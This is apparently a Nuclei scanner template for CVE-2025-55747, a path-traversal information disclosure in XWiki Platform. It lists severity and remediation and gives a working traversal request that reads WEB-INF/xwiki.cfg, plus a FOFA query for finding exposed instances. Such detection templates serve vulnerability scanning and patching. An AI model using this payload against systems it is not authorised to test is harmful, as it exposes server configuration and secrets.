id: CVE-2025-55747

info:
  name: XWiki Platform - Information Disclosure
  author: Redmomn
  severity: high
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.
  impact: |
    Remote attackers can access sensitive configuration files, potentially exposing critical information.
  remediation: |
    Update to version 16.10.7 or later.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-19350
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-55747
    epss-score: 0.01292
    epss-percentile: 0.79927
    cwe-id: CWE-23
  metadata:
    verified: true
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100b4107e79380db96e75bf3aea612cee8d3f414227c0e7971aaf66914296579c15022100b39a7de83d7b8ce37c6239e97504835deac2de9c9a7f7aa6af39cf5c40c757ec:922c64590222798bb761d5b6d8e72950